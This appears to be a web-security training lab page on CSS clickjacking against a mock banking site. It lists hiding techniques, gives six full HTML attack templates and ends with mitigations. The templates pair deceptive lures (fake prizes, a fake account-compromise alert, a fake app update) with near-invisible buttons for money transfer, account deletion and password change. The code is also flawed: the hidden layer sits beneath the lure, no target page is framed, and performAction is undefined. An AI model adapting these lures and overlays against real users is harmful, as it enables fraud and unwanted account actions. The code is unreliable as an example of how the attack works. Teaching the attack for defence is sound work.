Lab 3: Clickjacking with CSS - Clickjacking Labs

Difficulty: Medium

Lab Overview

This lab demonstrates clickjacking vulnerabilities using CSS overlays and positioning techniques. Attackers can use CSS to hide malicious content and overlay it on top of legitimate content to trick users into performing unintended actions.

Objective: Understand how CSS-based clickjacking attacks work and how to exploit them.

Vulnerable Application

Banking Platform

Welcome to our banking platform! Here are some actions you can perform:

CSS Clickjacking Tester

⚠️ CSS Clickjacking Warning

This lab demonstrates CSS clickjacking vulnerabilities:

CSS Positioning - Absolute positioning attacks
CSS Opacity - Hidden content attacks
CSS Z-index - Layer manipulation attacks
CSS Transform - Transform-based attacks

CSS Attack Vectors

These actions can be exploited via CSS clickjacking:

Like Transaction - Social media manipulation
Add Beneficiary - Unwanted additions
Share Statement - Unwanted sharing
Close Account - Account closure
Change PIN - PIN changes
Transfer Money - Financial fraud

CSS Clickjacking Demo

CSS Clickjacking Demonstration:

This demonstrates how CSS can be used to hide malicious content and overlay it on top of legitimate content:

🎁 Click here to win $1000!

The overlay above is what users see, but clicks go to the hidden content below.

CSS Techniques

Position Absolute

position: absolute; top: 0; left: 0; width: 100%; height: 100%;

Opacity Hiding

opacity: 0.01; visibility: hidden;

Z-index Layering

z-index: 9999; z-index: -1;

Transform Hiding

transform: scale(0); transform: translateX(-100%);

Display None

display: none; visibility: hidden;

Clip Path

clip-path: inset(0 0 0 0); clip-path: circle(0);

Action Results

Action Results:

No actions performed yet

Vulnerability Details

Type: CSS Clickjacking
Severity: Medium
Method: CSS overlays
Issue: CSS positioning attacks

Attack Vectors

CSS Positioning: Absolute positioning attacks
CSS Opacity: Hidden content attacks
CSS Z-index: Layer manipulation attacks
CSS Transform: Transform-based attacks

CSS Clickjacking Examples

Use these techniques to exploit CSS clickjacking vulnerabilities:

1. Basic CSS Overlay Attack:

<!DOCTYPE html>
<html>
<head>
    <title>CSS Clickjacking Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(45deg, #ff6b6b, #4ecdc4);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎁 Special Offer!</h1>
            <p>You've been selected for a special promotion!</p>
            <button class="fake-button">Claim Reward Now</button>
        </div>
        <div class="hidden-content">
            <button onclick="performAction('like_post')">Hidden Button</button>
        </div>
    </div>
</body>
</html>

2. Advanced CSS Positioning Attack:

<!DOCTYPE html>
<html>
<head>
    <title>Advanced CSS Positioning Attack</title>
    <style>
        .wrapper {
            position: relative;
            width: 100%;
            height: 100vh;
            background: #f8f9fa;
        }
        .fake-app {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 30px;
            border-radius: 20px;
            text-align: center;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            z-index: 10;
        }
        .fake-button {
            background: #007bff;
            color: white;
            padding: 15px 30px;
            border: none;
            border-radius: 25px;
            font-size: 16px;
            cursor: pointer;
            margin: 10px;
        }
        .hidden-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 300px;
            height: 200px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="wrapper">
        <div class="fake-app">
            <h2>📱 New App Update</h2>
            <p>Update available! Tap to install.</p>
            <button class="fake-button">Install Update</button>
        </div>
        <div class="hidden-content">
            <button onclick="performAction('follow_user')">Hidden Button</button>
        </div>
    </div>
</body>
</html>

3. CSS Opacity Attack:

<!DOCTYPE html>
<html>
<head>
    <title>CSS Opacity Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #dc3545;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h2>⚠️ Security Alert</h2>
            <p>Your account has been compromised.</p>
            <button class="fake-button">Secure Account Now</button>
        </div>
        <div class="hidden-content">
            <button onclick="performAction('delete_account')">Hidden Button</button>
        </div>
    </div>
</body>
</html>

4. CSS Z-index Attack:

<!DOCTYPE html>
<html>
<head>
    <title>CSS Z-index Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: #f0f0f0;
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎉 Congratulations!</h1>
            <p>You've won a prize! Click below to claim it.</p>
            <button class="fake-button">Claim Prize</button>
        </div>
        <div class="hidden-content">
            <button onclick="performAction('change_password')">Hidden Button</button>
        </div>
    </div>
</body>
</html>

5. CSS Transform Attack:

<!DOCTYPE html>
<html>
<head>
    <title>CSS Transform Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(45deg, #ff6b6b, #4ecdc4);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #007bff;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%) scale(0);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎁 Special Offer!</h1>
            <p>You've been selected for a special promotion!</p>
            <button class="fake-button">Claim Reward Now</button>
        </div>
        <div class="hidden-content">
            <button onclick="performAction('transfer_money')">Hidden Button</button>
        </div>
    </div>
</body>
</html>

6. CSS Clip Path Attack:

<!DOCTYPE html>
<html>
<head>
    <title>CSS Clip Path Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
            clip-path: circle(0);
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎁 Special Offer!</h1>
            <p>You've been selected for a special promotion!</p>
            <button class="fake-button">Claim Reward Now</button>
        </div>
        <div class="hidden-content">
            <button onclick="performAction('admin_action')">Hidden Button</button>
        </div>
    </div>
</body>
</html>

Real-World Attack Scenarios

Banking manipulation and unwanted transactions
Social media manipulation and unwanted actions
Financial fraud and payment manipulation
Account takeover and password changes
Settings manipulation and configuration changes
Compliance violations and security breaches

Mitigation Strategies

Implement X-Frame-Options header (DENY, SAMEORIGIN)
Use Content Security Policy (CSP) frame-ancestors directive
Implement JavaScript-based clickjacking protection
Use SameSite cookie attributes
Regular security testing and vulnerability assessments
Monitor for unusual user actions
Implement proper authentication and authorization
Use CAPTCHA for sensitive actions
Implement rate limiting and request validation
Educate users about clickjacking attacks